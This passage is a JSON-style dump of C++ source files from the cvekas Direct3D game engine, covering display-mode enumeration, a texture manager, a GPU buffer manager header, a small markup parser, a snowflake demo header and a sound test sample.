"alphanum_fraction": 0.6734805107116699, "avg_line_length": 19.219654083251953, "blob_id": "d63a97cc3952bcabba759560bf967bacf0f1f191", "content_id": "f902aa8861ba0a3c163c7a71a85291966287d08f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3669, "license_type": "no_license", "max_line_length": 89, "num_lines": 173, "path": "/source/DisplayModes.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"DisplayModes.h\"\r\n#include \"Log.h\"\r\n#include \"Exception.h\"\r\n#include \"ErrorHandlers.h\"\r\n#include \"MemUtils.h\"\r\n\r\nnamespace Cvekas {\r\n\r\nDisplayMode::DisplayMode(D3DDISPLAYMODE& mode)\r\n\t:\r\nmode(mode)\r\n{\r\n}\r\n\r\nDisplayMode::DisplayMode(const DisplayMode& display_mode)\r\n\t:\r\nmode(display_mode.mode)\r\n{}\r\n\r\nDisplayMode::~DisplayMode()\r\n{}\r\n\r\nuint DisplayMode::getWidth()\r\n{\r\n\treturn mode.Width;\r\n}\r\n\r\nuint DisplayMode::getHeight()\r\n{\r\n\treturn mode.Height;\r\n}\r\n\r\nuint DisplayMode::getRefreshRate()\r\n{\r\n\treturn mode.RefreshRate;\r\n}\r\n\r\nD3DFORMAT DisplayMode::getFormat()\r\n{\r\n\treturn mode.Format;\r\n}\r\n\r\nD3DDISPLAYMODE DisplayMode::getD3DDisplayMode()\r\n{\r\n\treturn mode;\r\n}\r\n\r\nstd::string DisplayMode::getDescription()\r\n{\r\n\treturn FORMAT(\"%dx%d %dHz\", % mode.Width % mode.Height % mode.RefreshRate);\r\n}\r\n\r\nbool DisplayMode::operator<(const DisplayMode& d) const\r\n{\r\n\tif(mode.Width != d.mode.Width)\r\n\t\treturn mode.Width < d.mode.Width;\r\n\tif(mode.Height != d.mode.Height)\r\n\t\treturn mode.Height < d.mode.Height;\r\n\tif(mode.RefreshRate != d.mode.RefreshRate)\r\n\t\treturn mode.RefreshRate < d.mode.RefreshRate;\r\n\r\n\treturn false;\r\n}\r\n\r\nbool DisplayMode::operator==(const DisplayMode& d) const\r\n{\r\n\tif(mode.Width != d.mode.Width)\r\n\t\treturn false;\r\n\tif(mode.Height != d.mode.Height)\r\n\t\treturn false;\r\n\tif(mode.RefreshRate != d.mode.RefreshRate)\r\n\t\treturn false;\r\n\r\n\treturn true;\r\n}\r\n\r\nuint DisplayModes::getModeCount()\r\n{\r\n\treturn mode_count;\r\n}\r\n\r\nDisplayMode& DisplayModes::getMode(uint i)\r\n{\r\n\tassert(i < mode_count);\r\n\r\n\treturn modes[i];\r\n}\r\n\r\nuint DisplayModes::getCurrentMode()\r\n{\r\n\tD3DDISPLAYMODE mode;\r\n\tE_E(d3d->GetAdapterDisplayMode(D3DADAPTER_DEFAULT, &mode));\r\n\treturn findMode(mode.Width, mode.Height, mode.RefreshRate);\r\n}\r\n\r\nuint DisplayModes::getCurrentAppMode(VideoSettings& settings)\r\n{\r\n\tuint width = settings[\"ScreenWidth\"];\r\n\tuint height = settings[\"ScreenHeight\"];\r\n\tuint refresh = settings[\"RefreshRate\"];\r\n\r\n\t// If windowed..\r\n\tif(refresh == 0)\r\n\t\t// Choose desktop refresh rate\r\n\t\trefresh = modes[desktop_mode].getRefreshRate();\r\n\r\n\treturn findMode(width, height, refresh);\r\n}\r\n\r\nuint DisplayModes::getDesktopMode()\r\n{\r\n\treturn desktop_mode;\r\n}\r\n\r\nuint DisplayModes::findMode(uint width, uint height, uint refresh)\r\n{\r\n\tuint i;\r\n\tfor(i = 0; i < mode_count; ++i)\r\n\t{\r\n\t\tif(width == modes[i].getWidth() && height == modes[i].getHeight() \r\n\t\t\t&& refresh == modes[i].getRefreshRate())\r\n\t\t\tbreak;\r\n\t}\r\n\r\n\tif(i == mode_count)\r\n\t\ti = ~0;\r\n\r\n\treturn i;\r\n}\r\n\r\nvoid DisplayModes::setMode(VideoSettings& settings, uint i)\r\n{\r\n\tsettings[\"ScreenWidth\"] = modes[i].getWidth();\r\n\tsettings[\"ScreenHeight\"] = modes[i].getHeight();\r\n\tsettings[\"RefreshRate\"] = modes[i].getRefreshRate();\r\n}\r\n\r\nDisplayModes::DisplayModes(D3DPtr d3d)\r\n: d3d(d3d)\r\n{\r\n\tLOG(\"Enumerating display modes...\");\r\n\r\n\t// Fill 32 bit modes\r\n\tint mode_count_32bpp = d3d->GetAdapterModeCount(D3DADAPTER_DEFAULT, D3DFMT_X8R8G8B8);\r\n\tfor(int i = 0; i < mode_count_32bpp; i++)\r\n\t{\r\n\t\tD3DDISPLAYMODE mode;\r\n\t\tE_L(d3d->EnumAdapterModes(D3DADAPTER_DEFAULT, D3DFMT_X8R8G8B8, i, &mode));\r\n\t\tmodes.push_back(DisplayMode(mode));\r\n\t}\r\n\r\n\t// Nobody uses 16 bit colors anymore...\r\n\t/*\r\n\t// Fill 16 bit modes\r\n\tint mode_count_16bpp = direct3d->GetAdapterModeCount(D3DADAPTER_DEFAULT, D3DFMT_R5G6B5);\r\n\tfor(int i = 0; i < mode_count_16bpp; i++)\r\n\t{\r\n\t\tD3DDISPLAYMODE mode;\r\n\t\tE_L(d3d->EnumAdapterModes(D3DADAPTER_DEFAULT, D3DFMT_R5G6B5, i, &mode));\r\n\t\tmodes.push_back(DisplayMode(mode));\r\n\t}\r\n\t*/\r\n\r\n\tmode_count = modes.size();\r\n\tstd::sort(modes.begin(), modes.end());\r\n\r\n\tdesktop_mode = getCurrentMode();\r\n\r\n\tLOG(FORMAT(\"Enumeration done, found %d display modes\", % mode_count));\r\n}\r\n\r\n} // namespace" }, { "alpha_fraction": 0.7187961339950562, "alphanum_fraction": 0.7246975302696228, "avg_line_length": 27.486955642700195, "blob_id": "0bb113cf0f2e9d07f9d95a4e822d33b12d4e7d1e", "content_id": "6abb4e252857d9c4a5a86777b740fe66884a3579", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3389, "license_type": "no_license", "max_line_length": 118, "num_lines": 115, "path": "/source/TextureManager.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"TextureManager.h\"\r\n\r\n#include \"Log.h\"\r\n#include \"Exception.h\"\r\n\r\nnamespace Cvekas {\r\n\r\nTextureManager::TextureManager(D3DDevicePtr device) \r\n\t: \r\ndevice(device)\r\n{\r\n\tLOG(\"TextureManager created\");\r\n}\r\n\r\nTextureManager::~TextureManager()\r\n{\r\n\tLOG(\"Destroying TextureManager\");\r\n}\r\n\r\nTexture2DPtr TextureManager::loadTexture2D(const std::string &name, const std::string &file, D3DFORMAT format, \r\n\t\t\t\t\t\t\t\t\t\t bool pow_of2, bool lockable, bool gen_mipmaps)\r\n{\r\n\tResourceId id = getUniqueId(name);\r\n\tTexturePtr texture(new Texture2D(id, device, name, file, format, pow_of2, lockable, gen_mipmaps));\r\n\treturn boost::static_pointer_cast<Texture2D>(insert(name, texture, id));\r\n}\r\n\r\nTexture2DPtr TextureManager::createTexture2D(const std::string &name, uint width, uint height, D3DFORMAT format, \r\n\t\t\t\t\t\t\t\t\t\t\t bool mipmaped, bool dynamic)\r\n{\r\n\tResourceId id = getUniqueId(name);\r\n\tTexturePtr texture(new Texture2D(id, device, name, width, height, format, mipmaped, dynamic));\r\n\treturn boost::static_pointer_cast<Texture2D>(insert(name, texture, id));\r\n}\r\n\r\nTextureCubePtr TextureManager::loadTextureCube(const std::string& name, const std::string& file)\r\n{\r\n\tResourceId id = getUniqueId(name);\r\n\tTexturePtr texture(new TextureCube(id, device, name, file));\r\n\treturn boost::static_pointer_cast<TextureCube>(insert(name, texture, id));\r\n}\r\n\r\nRenderTargetPtr TextureManager::createRenderTarget(const std::string& name, uint width, uint height, D3DFORMAT format)\r\n{\r\n\tResourceId id = getUniqueId(name);\r\n\tTexturePtr render_target(new RenderTarget(id, device, name, width, height, format));\r\n\treturn boost::static_pointer_cast<RenderTarget>(insert(name, render_target, id));\r\n}\r\n\r\nTexture2DPtr TextureManager::getTexture2D(const std::string& name)\r\n{\r\n\tTexturePtr texture = get(name);\r\n\treturn boost::dynamic_pointer_cast<Texture2D>(texture);\r\n}\r\n\r\nTexture2DPtr TextureManager::getTexture2D(ResourceId id)\r\n{\r\n\tTexturePtr texture = get(id);\r\n\treturn boost::dynamic_pointer_cast<Texture2D>(texture);\r\n}\r\n\r\nTextureCubePtr TextureManager::getTextureCube(const std::string& name)\r\n{\r\n\tTexturePtr texture = get(name);\r\n\treturn boost::dynamic_pointer_cast<TextureCube>(texture);\r\n}\r\n\r\nTextureCubePtr TextureManager::getTextureCube(ResourceId id)\r\n{\r\n\tTexturePtr texture = get(id);\r\n\treturn boost::dynamic_pointer_cast<TextureCube>(texture);\r\n}\r\n\r\nRenderTargetPtr TextureManager::getRenderTarget(const std::string& name)\r\n{\r\n\tTexturePtr texture = get(name);\r\n\treturn boost::dynamic_pointer_cast<RenderTarget>(texture);\r\n}\r\n\r\nRenderTargetPtr TextureManager::getRenderTarget(ResourceId id)\r\n{\r\n\tTexturePtr texture = get(id);\r\n\treturn boost::dynamic_pointer_cast<RenderTarget>(texture);\r\n}\r\n\r\nvoid TextureManager::onDeviceLost()\r\n{\r\n\t// If resources is empty, resources.begin() throws exception\r\n\tif(resources.empty())\r\n\t\treturn;\r\n\r\n\tfor(resources_itr = resources.begin(); resources_itr != resources.end(); ++resources_itr)\r\n\t{\r\n\t\tTexturePtr texture = *resources_itr;\r\n\t\tif(bool(texture))\r\n\t\t\ttexture->onDeviceLost();\r\n\t}\r\n}\r\n\r\nvoid TextureManager::onDeviceReset()\r\n{\r\n\t// If resources is empty, resources.begin() throws exception\r\n\tif(resources.empty())\r\n\t\treturn;\r\n\r\n\tfor(resources_itr = resources.begin(); resources_itr != resources.end(); ++resources_itr)\r\n\t{\r\n\t\tTexturePtr texture = *resources_itr;\r\n\t\tif(bool(texture))\r\n\t\t\ttexture->onDeviceReset();\r\n\t}\r\n}\r\n\r\n} // namespace" }, { "alpha_fraction": 0.723145067691803, "alphanum_fraction": 0.7264673113822937, "avg_line_length": 27.161291122436523, "blob_id": "f18ef07639d75cd15b26d807214a41438f03ec65", "content_id": "2190bab65958e75c02d936fdb21a07fb5db3c6dd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1806, "license_type": "no_license", "max_line_length": 115, "num_lines": 62, "path": "/source/GpuBufferManager.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef GPU_BUFFER_MANAGER_H\r\n#define GPU_BUFFER_MANAGER_H\r\n\r\n#include \"ResourceManager.h\"\r\n#include \"IndexBuffer.h\"\r\n#include \"VertexBuffer.h\"\r\n\r\nnamespace Cvekas {\r\n\r\n/// Manages index and vertex buffers\r\nclass GpuBufferManager : public ResourceManager<GpuBufferPtr>\r\n{\r\npublic:\r\n\t/// Constructor\r\n\tGpuBufferManager(D3DDevicePtr device);\r\n\t/// Destructor\r\n\tvirtual ~GpuBufferManager();\r\n\r\n\t/// Creates new index buffer\r\n\t/// \\param name Index buffer name\r\n\t/// \\param sixteen_bits Will buffer contain 16 bit or 32 bit indices?\r\n\t/// \\param index_count Number of indices in buffer\r\n\t/// \\param dynamic Will buffer be dynamic?\r\n\tIndexBufferPtr createIndexBuffer(const std::string& name, bool sixteen_bits, uint index_count, bool dynamic);\r\n\r\n\t/// Creates new vertex buffer\r\n\t/// \\param name Vertex buffer name\r\n\t/// \\param format Format\r\n\t/// \\param vertex_count Number of vertices in buffer\r\n\t/// \\param dynamic Will buffer be dynamic?\r\n\tVertexBufferPtr createVertexBuffer(const std::string& name, VertexFormat format, uint vertex_count, bool dynamic);\r\n\r\n\t/// Returns existing index buffer\r\n\t/// \\param name Index buffer name\r\n\tIndexBufferPtr getIndexBuffer(const std::string& name);\r\n\t\r\n\t/// Returns existing index buffer\r\n\t/// \\param id Index buffer ID\r\n\tIndexBufferPtr getIndexBuffer(ResourceId id);\r\n\r\n\t/// Returns existing vertex buffer\r\n\t/// \\param name Vertex buffer name\r\n\tVertexBufferPtr getVertexBuffer(const std::string& name);\r\n\r\n\t/// Returns existing vertex buffer\r\n\t/// \\param id Vertex buffer ID\r\n\tVertexBufferPtr getVertexBuffer(ResourceId id);\r\n\r\n\t/// You shouldn't call this\r\n\tvoid onDeviceLost();\r\n\t/// You shouldn't call this\r\n\tvoid onDeviceReset();\r\n\r\nprivate:\r\n\tD3DDevicePtr device;\r\n};\r\n\r\ntypedef boost::shared_ptr<GpuBufferManager> GpuBufferManagerPtr;\r\n\r\n} // namespace\r\n\r\n#endif" }, { "alpha_fraction": 0.5791390538215637, "alphanum_fraction": 0.5825204849243164, "avg_line_length": 18.719676971435547, "blob_id": "f014620f15cb2eb0edbf35a9f1567b05ce9d1848", "content_id": "2d0307d9690f405d91a3b50c7746477daba8e276", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 7689, "license_type": "no_license", "max_line_length": 82, "num_lines": 371, "path": "/source/MML.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"MML.h\"\r\n\r\n#include \"Exception.h\"\r\n\r\nnamespace Cvekas {\r\n\r\nMMLNode::MMLNode(const std::string& name, const std::string& value)\r\n: name(name), value(value) \r\n{\r\n}\r\n\r\nMMLNode::MMLNode(const MMLNode& node)\r\n: children(node.children), name(node.name), value(node.value)\r\n{\r\n}\r\n\r\nMMLNode& MMLNode::getChild(const std::string& name)\r\n{\r\n\tstd::list<MMLNode>::iterator itr = find(name); \r\n\r\n\tif(itr == children.end())\r\n\t\tthrow EXCEPTION(\"Child with name\" + name + \" not found!\");\r\n\t\r\n\treturn *itr;\r\n}\r\n\r\nvoid MMLNode::removeChild(const std::string& name)\r\n{\r\n\tstd::list<MMLNode>::iterator itr = find(name); \r\n\t\r\n\tif(itr == children.end())\r\n\t\tthrow EXCEPTION(\"Child with name \" + name + \" not found!\");\r\n\t\r\n\tchildren.erase(itr);\r\n}\r\n\r\nvoid MMLNode::insertAfter(const std::string& name, const MMLNode& node)\r\n{\r\n\tstd::list<MMLNode>::iterator itr = find(name); \r\n\t\r\n\tif(itr == children.end())\r\n\t\tthrow EXCEPTION(\"Child with name \" + name + \" not found!\");\r\n\r\n\tchildren.insert(++itr, node);\r\n}\r\n\r\nvoid MMLNode::append(const MMLNode& node)\r\n{\r\n\tchildren.push_back(node);\r\n}\r\n\r\nstd::list<MMLNode>::iterator MMLNode::find(const std::string& name)\r\n{\r\n\tstd::list<MMLNode>::iterator itr = children.begin();\r\n\tfor(; itr != children.end(); ++itr)\r\n\t{\r\n\t\tif(itr->name == name)\r\n\t\t\tbreak;\r\n\t}\r\n\treturn itr;\r\n}\r\n\r\n\r\nMML::MML()\r\n: root(\"root\")\r\n{\r\n}\r\n\r\nMML::MML(const std::string& input)\r\n: root(\"\")\r\n{\r\n\tstd::vector<MMLToken> tokens;\r\n\r\n\ttokenize(input, tokens);\r\n\troot = parse(tokens);\r\n}\r\n\r\nMMLNode& MML::getRoot()\r\n{\r\n\treturn root;\r\n}\r\n\r\nstd::string MML::serialize()\r\n{\r\n\treturn _serialize(root);\r\n}\r\n\r\n// Tokenizer helpers\r\nbool is_whitespace(char c)\r\n{\r\n\treturn (c == ' ' || c == '\\t' || c == '\\n');\r\n}\r\n\r\nstd::string filter_escape(const std::string& in)\r\n{\r\n\tstd::string result;\r\n\t// Check all but last chars\r\n\tfor(size_t i = 0; i < in.size(); ++i)\r\n\t{\r\n\t\tif(in[i] != '\\\\')\r\n\t\t{\r\n\t\t\tresult += in[i];\r\n\t\t\tcontinue;\r\n\t\t}\t\r\n\r\n\t\tswitch(in[++i])\r\n\t\t{\r\n\t\t\tcase 'n':\r\n\t\t\t\tresult += '\\n';\r\n\t\t\t\tbreak;\r\n\t\t\tcase 'r':\r\n\t\t\t\tresult += '\\r';\r\n\t\t\t\tbreak;\r\n\t\t\tcase 't':\r\n\t\t\t\tresult += '\\t';\r\n\t\t\t\tbreak;\r\n\t\t\tcase 'b':\r\n\t\t\t\tresult += '\\b';\r\n\t\t\t\tbreak;\r\n\t\t\tdefault:\r\n\t\t\t\tresult += in[i];\r\n\t\t}\r\n\t}\r\n\r\n\treturn result;\r\n}\r\n\r\nchar escape(char in)\r\n{\r\n\tswitch(in)\r\n\t{\r\n\t\tcase '\\n':\r\n\t\t\treturn 'n';\r\n\t\tcase '\\r':\r\n\t\t\treturn 'r';\r\n\t\tcase '\\t':\r\n\t\t\treturn 't';\r\n\t\tcase '\\b':\r\n\t\t\treturn 'b';\r\n\t\tdefault:\r\n\t\t\treturn in;\r\n\t}\r\n}\r\n\r\nstd::string insert_escape(const std::string& in)\r\n{\r\n\tstd::string escape_chars(\" ()\\\"\\\\\\n\\r\\t\\b\");\r\n\tstd::string result = \"\";\r\n\r\n\tfor(size_t i = 0; i < in.size(); ++i)\r\n\t{\r\n\t\tbool escaped = false;\r\n\t\tfor(size_t j = 0; j < escape_chars.size(); ++j)\r\n\t\t{\r\n\t\t\tif(in[i] == escape_chars[j])\r\n\t\t\t{\r\n\t\t\t\tresult += '\\\\';\r\n\t\t\t\tresult += escape(escape_chars[j]);\r\n\t\t\t\tescaped = true;\r\n\t\t\t\tbreak;\r\n\t\t\t}\t\r\n\t\t}\r\n\t\tif(!escaped)\r\n\t\t\tresult += in[i];\r\n\t}\r\n\treturn result;\r\n}\r\n\r\nbool needs_escaping(const std::string& str)\r\n{\r\n\tstd::string escape_chars(\" ()\\\"\\\\\\n\\r\\t\\b\");\r\n\tfor(size_t i = 0; i < escape_chars.size(); ++i)\r\n\t{\r\n\t\tif(str.find(escape_chars[i]) != std::string::npos)\r\n\t\t\treturn true;\r\n\t}\r\n\treturn false;\r\n}\r\n\r\nvoid MML::tokenize(const std::string& input, std::vector<MMLToken>& tokens)\r\n{\r\n\t// Tokenizer state\r\n\tbool in_literal = false;\r\n\tbool in_qliteral = false;\r\n\tbool in_comment = false;\r\n\tsize_t literal_start = 0;\r\n\r\n\t// Iterate through every char\r\n\tfor(size_t i = 0; i < input.size(); ++i)\r\n\t{\r\n\t\t// Comment, skip all chars till newline\r\n\t\tif(in_comment)\r\n\t\t{\r\n\t\t\tif(input[i] == '\\n')\r\n\t\t\t\tin_comment = false;\r\n\t\t\tcontinue;\t\r\n\t\t}\r\n\t\t\r\n\t\t// Handle quoted literal\r\n\t\tif(in_qliteral)\r\n\t\t{\r\n\t\t\tif(input[i] == '\"' && input[i-1] != '\\\\')\r\n\t\t\t{\r\n\t\t\t\tin_qliteral = false;\r\n\t\t\t\tstd::string lit = input.substr(literal_start, i-literal_start); \r\n\t\t\t\ttokens.push_back(MMLToken(MMLToken::MML_LITERAL,\r\n\t\t\t\t\tfilter_escape(lit)));\r\n\t\t\t}\r\n\t\t\tcontinue;\r\n\t\t}\r\n\r\n\t\t// Comment start\r\n\t\tif(input[i] == '#')\r\n\t\t{\r\n\t\t\tin_comment = true;\r\n\t\t\tcontinue;\r\n\t\t}\r\n\r\n\t\t// Quoted literal start\r\n\t\tif(input[i] == '\"')\r\n\t\t{\r\n\t\t\tin_qliteral = true;\r\n\t\t\tliteral_start = i+1;\r\n\t\t\tcontinue;\r\n\t\t}\r\n\r\n\t\t// Whitespace, end literal\r\n\t\tif(is_whitespace(input[i]))\r\n\t\t{\r\n\t\t\tif(in_literal)\r\n\t\t\t{\r\n\t\t\t\tin_literal = false;\r\n\t\t\t\ttokens.push_back(MMLToken(MMLToken::MML_LITERAL,\r\n\t\t\t\t\tinput.substr(literal_start, i-literal_start)));\r\n\t\t\t}\r\n\t\t\tcontinue;\r\n\t\t}\r\n\r\n\t\t// Braces\r\n\t\tif(input[i] == '(')\r\n\t\t{\r\n\t\t\tif(in_literal)\r\n\t\t\t{\r\n\t\t\t\tin_literal = false;\r\n\t\t\t\ttokens.push_back(MMLToken(MMLToken::MML_LITERAL,\r\n\t\t\t\t\tinput.substr(literal_start, i-literal_start)));\r\n\t\t\t}\r\n\r\n\t\t\ttokens.push_back(MMLToken(MMLToken::MML_BRACE_OPEN));\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tif(input[i] == ')')\r\n\t\t{\r\n\t\t\tif(in_literal)\r\n\t\t\t{\r\n\t\t\t\tin_literal = false;\r\n\t\t\t\ttokens.push_back(MMLToken(MMLToken::MML_LITERAL,\r\n\t\t\t\t\tinput.substr(literal_start, i-literal_start)));\r\n\t\t\t}\r\n\r\n\t\t\ttokens.push_back(MMLToken(MMLToken::MML_BRACE_CLOSE));\r\n\t\t\tcontinue;\r\n\t\t}\r\n\r\n\t\t// Different char - start new literal\r\n\t\tif(!in_literal)\r\n\t\t{\r\n\t\t\tin_literal = true;\r\n\t\t\tliteral_start = i;\r\n\t\t}\r\n\t}\r\n\r\n\tif(in_literal)\r\n\t\tthrow EXCEPTION(\"Unexpected literal in the end\");\r\n\tif(in_qliteral)\r\n\t\tthrow EXCEPTION(\"Quoted literal not finished\");\r\n\tif(in_comment)\r\n\t\tthrow EXCEPTION(\"No newline after comment\");\r\n}\r\n\r\nMMLNode MML::parse(const std::vector<MMLToken>& tokens)\r\n{\r\n\treturn _parse(tokens, 0, tokens.size());\t\r\n}\r\n\r\nMMLNode MML::_parse(const std::vector<MMLToken>& tokens, size_t start, size_t end)\r\n{\r\n\tsize_t size = end - start;\r\n\r\n\t// Shortest node has 4 tokens, ex. ( name val )\r\n\tif(size < 4)\r\n\t\tthrow EXCEPTION(\"Node must containt at least 4 tokenss\");\r\n\r\n\t// Check if first & last tokens are braces\t\r\n\tif(tokens[start].type != MMLToken::MML_BRACE_OPEN || \r\n\t\ttokens[end-1].type != MMLToken::MML_BRACE_CLOSE)\r\n\t\tthrow EXCEPTION(\"Node must begin and end with proper braces\");\r\n\r\n\t// Check if second and third tokens are literals\t\r\n\tif(tokens[start+1].type != MMLToken::MML_LITERAL || \r\n\t\ttokens[start+2].type != MMLToken::MML_LITERAL)\r\n\t\tthrow EXCEPTION(\"Node must have name and value literals\");\r\n\r\n\tMMLNode result(tokens[start+1].literal, tokens[start+2].literal);\t\r\n\r\n\t// Iterate through all literals between value and closing brace\r\n\tfor(size_t i = start+3; i < end-1; ++i)\r\n\t{\r\n\t\tif(tokens[i].type == MMLToken::MML_LITERAL)\r\n\t\t\tthrow EXCEPTION(\"Unexpected literal\");\r\n\t\tif(tokens[i].type == MMLToken::MML_BRACE_CLOSE)\r\n\t\t\tthrow EXCEPTION(\"Unexpected closing brace\");\r\n\r\n\t\t// Children found...\r\n\t\tif(tokens[i].type == MMLToken::MML_BRACE_OPEN)\r\n\t\t{\r\n\t\t\tint depth = 1;\r\n\r\n\t\t\t// Determine length and recursively parse it\r\n\t\t\tfor(size_t j = i+1; j < end-1; ++j)\r\n\t\t\t{\r\n\t\t\t\tif(tokens[j].type == MMLToken::MML_BRACE_OPEN)\r\n\t\t\t\t\tdepth++;\r\n\t\t\t\tif(tokens[j].type == MMLToken::MML_BRACE_CLOSE)\r\n\t\t\t\t\tdepth--;\r\n\r\n\t\t\t\tif(depth == 0)\r\n\t\t\t\t{\r\n\t\t\t\t\tresult.children.push_back(_parse(tokens, i, j+1));\r\n\t\t\t\t\ti = j;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\t\r\n\t\t\t}\r\n\r\n\t\t\tif(depth != 0)\r\n\t\t\t\tthrow EXCEPTION(\"Misplaced brace\");\r\n\t\t}\t\t\r\n\t}\r\n\r\n\treturn result;\r\n}\r\n\r\nstd::string process_literal(const std::string& literal)\r\n{\r\n\tif(needs_escaping(literal))\r\n\t\treturn \"\\\"\" + insert_escape(literal) + \"\\\"\";\r\n\treturn literal;\t\r\n}\r\n\r\nstd::string MML::_serialize(const MMLNode& node, const std::string& prefix)\r\n{\r\n\tstd::string result = prefix + \"( \" + process_literal(node.name) \r\n\t\t+ \" \" + process_literal(node.value); \r\n\r\n\t// Nodes with no children occupy single line\r\n\tif(node.children.size() == 0)\r\n\t\treturn result + \" )\\n\";\r\n\tresult += \"\\n\";\r\n\r\n\t// Recursively serialize all children\r\n\tstd::list<MMLNode>::const_iterator itr = node.children.begin();\r\n\tfor(; itr != node.children.end(); ++itr)\r\n\t{\r\n\t\tresult += _serialize(*itr, prefix + \" \");\t\r\n\t}\r\n\r\n\treturn result + prefix + \")\\n\";\r\n}\r\n\r\n} // namespace\r\n\r\n" }, { "alpha_fraction": 0.7192660570144653, "alphanum_fraction": 0.7247706651687622, "avg_line_length": 18.987178802490234, "blob_id": "10d130c8679a48356daf7435edab732b48d4d183", "content_id": "13b498847484a2cd91189d8717cc12c38ebfc747", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1635, "license_type": "no_license", "max_line_length": 111, "num_lines": 78, "path": "/apps/Celerity/Snowflake.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef SNOWFLAKE_H\r\n#define SNOWFLAKE_H\r\n\r\n#include \"Demo.h\"\r\n#include \"RenderTarget.h\"\r\n#include \"TextureCube.h\"\r\n#include \"Random.h\"\r\n#include \"VectorBatch.h\"\r\n#include \"BitmapFont.h\"\r\n#include \"Vertices.h\"\r\n#include \"Mesh.h\"\r\n\r\nusing namespace Cvekas;\r\n\r\nclass Snowflake : public TimelineSegment\r\n{\r\npublic:\r\n\tSnowflake(RendererPtr renderer, VectorBatchPtr vector_batch, SpriteBatchPtr sprite_batch, BitmapFontPtr font);\r\n\t~Snowflake();\r\n\r\n\tvirtual void init(boost::weak_ptr<Demo> owner);\r\n\tvirtual void close();\r\n\t\r\n\tvirtual void update(float t);\r\n\tvirtual void render(float t);\r\n\r\nprivate:\r\n\tVector3 random_spherepoint();\r\n\tvoid genSnowflake(VertexPosNormal*& out, Vector3 p[3], uint level);\r\n\tvoid genCrystal(VertexPosNormal* out, uint branches);\r\n\tvoid genCrystalIB(uint16* out, uint branches);\r\n\r\n\tstruct Hex \r\n\t{\r\n\t\tVector2 pos;\r\n\t\tVector2 vel;\r\n\t\tfloat rot;\r\n\t\tfloat a_vel;\r\n\t\tfloat size;\r\n\t\tfloat t;\r\n\t\tColor c;\r\n\t};\r\n\r\n\tstd::vector<Hex> hexes;\r\n\r\n\tvoid genHexes(uint count);\r\n\tvoid updateHexes(float t);\r\n\tvoid drawHexes(float t);\r\n\r\n\tRenderTargetPtr depth_target;\r\n\tRenderTargetPtr blur_target;\r\n\r\n\tRendererPtr renderer;\r\n\tVectorBatchPtr vector_batch;\r\n\tSpriteBatchPtr sprite_batch;\r\n\tBitmapFontPtr font;\r\n\r\n\tTextureCubePtr reflection;\r\n\r\n\tIndexBufferPtr crystal_ib;\r\n\tVertexBufferPtr crystal_vb;\r\n\tVertexBufferPtr snowflake_vb;\r\n\t\r\n\tRenderableMeshPtr snowflake;\r\n\tEffectPtr snowflake_effect;\r\n\tRenderableMeshPtr crystal;\r\n\tEffectPtr crystal_effect;\r\n\tEffectPtr hex_batch_effect;\r\n\r\n\tSimpleCamera camera;\r\n\tfloat light1_att, light2_att;\r\n\r\n\tRandom prng;\r\n};\r\n\r\ntypedef boost::shared_ptr<Snowflake> SnowflakePtr;\r\n\r\n#endif" }, { "alpha_fraction": 0.6343331336975098, "alphanum_fraction": 0.6388002634048462, "avg_line_length": 18.08974266052246, "blob_id": "8e1e0ca0c682726c06b9f43273ff27acd2f0577a", "content_id": "04bc9cc32b379445b84f76c3493df16d49aa69a5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1567, "license_type": "no_license", "max_line_length": 93, "num_lines": 78, "path": "/samples/Sound/SoundTest.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"libraries.h\"\r\n\r\n#include \"Application.h\"\r\n#include \"Filesystem.h\"\r\n\r\nusing namespace Cvekas;\r\n\r\nclass SoundTest: public Application\r\n{\r\npublic:\r\n\tSoundTest(HINSTANCE instance, const std::string& name, const std::string& log_filename)\r\n\t\t: Application(instance, name, log_filename)\r\n\t{\r\n\t\tFilesystem::init();\r\n\t}\r\n\r\n\tvirtual ~SoundTest()\r\n\t{\r\n\t}\r\n\r\n\tvirtual void initVideoDevice()\r\n\t{\r\n\t\tsettings->insert(\"video\", VideoSettings());\r\n\r\n\t\t(*settings)[\"video\"][\"ScreenWidth\"] = 800;\r\n\t\t(*settings)[\"video\"][\"ScreenHeight\"] = 600;\r\n\t\t(*settings)[\"video\"][\"VSync\"] = false;\r\n\t\t(*settings)[\"video\"][\"Fullscreen\"] = false;\r\n\r\n\t\twindow = WindowPtr(new Window(instance, name));\r\n\t\tvideo_device->init(window);\r\n\t}\r\n\r\n\tvirtual void init()\r\n\t{\r\n\t\tmusic = sound_manager->loadStream(\"CLines music\", Filesystem::redirect(\"CLines.ogg\"));\r\n\t\tclick = sound_manager->loadSample(\"click\", Filesystem::redirect(\"button.wav\"));\r\n\r\n\t\tmusic->play();\r\n\t}\r\n\r\n\tvirtual bool update()\r\n\t{\r\n\t\tinput->getMouse()->update();\r\n\r\n\t\tif(input->getMouse()->isButtonDown(Mouse::BTN_LEFT))\r\n\t\t\tclick->play();\r\n\r\n\t\treturn true;\r\n\t}\r\n\r\n\tvirtual bool render()\r\n\t{\r\n\t\tvideo_device->beginScene();\r\n\t\tvideo_device->endScene();\r\n\r\n\t\treturn true;\r\n\t}\r\n\r\nprivate:\r\n\tSoundPtr music;\r\n\tSoundPtr click;\r\n};\r\n\r\nint WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR pCmdLine, int 